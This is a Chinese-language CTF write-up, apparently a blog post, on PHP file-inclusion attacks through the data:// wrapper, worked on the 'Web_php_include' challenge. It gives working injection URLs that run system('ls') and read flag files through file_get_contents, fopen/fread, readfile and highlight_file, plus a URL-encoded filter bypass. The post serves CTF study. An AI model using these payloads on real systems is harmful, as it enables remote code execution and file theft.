引子
data://伪协议
详见:【CTF】 文件包含漏洞——data伪协议 【详】-CSDN博客
data://是 PHP 中的一种伪协议,允许将数据直接嵌入到 URL 中,从而在请求中传递和处理数据。
data:// 伪协议的基本格式如下:
- data://[<MIME-type>][;charset=<encoding>][;base64],<data>
- MIME-type:指定数据的类型,默认为 text/plain。
- charset(可选,默认为UTF-8):指定数据的编码类型,如 utf-8。
- base64(可选):如果数据经过 Base64 编码,则需要加上 ;base64 标识。
- data:实际的数据内容。
使用方式:在url后加上?file=data://text/plain,<?php system('ls'); ?>,可以使系统列出文件列表。亦可对data部分代码进行url编码绕过字符串过滤
?file=data://text/plain,%3C%3Fphp%20system%28%27ls%27%29%3B%20%3F%3E
进行以上步骤我们可以获取当前网站目录中有些什么文件,然后我们可以使用以下方法读取我们想要的文件:
file_get_contents
//file_get_contents函数参数详情
string file_get_contents ( string $filename , bool $use_include_path = FALSE , resource $context = NULL , int $offset = 0 , int $maxlen = NULL )
//$filename:要读取的文件或资源的路径(可以是本地文件路径或 URL)。
//$use_include_path:是否在 include_path 中查找文件。默认为 FALSE。
//$context:上下文资源,用于设置流的选项(如超时时间、请求头等)。
//$offset:从文件的指定偏移量开始读取。
//$maxlen:最大读取长度。
//示例
http://example.com/vulnerable.php?file=data://text/plain,<?php echo file_get_contents('flag.txt'); ?>
利用 fopen 和 fread
http://example.com/vulnerable.php?file=data://text/plain,<?php $handle = fopen('flag.txt', 'r'); while (!feof($handle)) { echo fread($handle, 1024); } fclose($handle); ?>
readfile
http://example.com/vulnerable.php?file=data://text/plain,<?php readfile('flag.txt'); ?>
利用 highlight_file 或 show_source
http://example.com/vulnerable.php?file=data://text/plain,<?php highlight_file('flag.txt'); ?>
tips:函数htmlspecialchars可以将一些特定的字符(如 <、>、&、" 和 ')转换为对应的 HTML 实体。这样可以确保这些字符在 HTML 页面中以纯文本形式显示,而不是被浏览器解释为 HTML 标签或脚本代码。
题目
题目名称:Web_php_include(攻防世界)
题目编号:NO.GFSJ0716

对其尝试使用data伪协议将目录打出

fl4gisisish3r3.php文件便是当前目录下的flag文件
尝试读取

发现普通的echo输出无法正常运行
因此发现一个函数htmlspecialchars可以将一些特定的字符(如 <、>、&、" 和 ')转换为对应的 HTML 实体。这样可以确保这些字符在 HTML 页面中以纯文本形式显示,而不是被浏览器解释为 HTML 标签或脚本代码。
string htmlspecialchars(string $string, int $flags = ENT_QUOTES, string $encoding = 'UTF-8', bool $double_encode = true)
//$string:要转换的字符串。
//$flags:指定转换规则的标志,默认为 ENT_QUOTES,表示转换双引号和单引号。
//$encoding:指定字符编码,默认为 UTF-8。
//$double_encode:是否对已经编码的字符进行二次编码。默认为 true。
//常用标志
//ENT_QUOTES:转换双引号和单引号(默认值)。
//ENT_NOQUOTES:不转换任何引号。
//ENT_COMPAT:仅转换双引号。
//ENT_IGNORE:忽略无效的编码,不报告错误。

--data:伪协议&spm=1001.2101.3001.5002&articleId=146066440&d=1&t=3&u=414a1c6ad11a40ed97c9f4342f602368)
1万+

被折叠的 条评论
为什么被折叠?



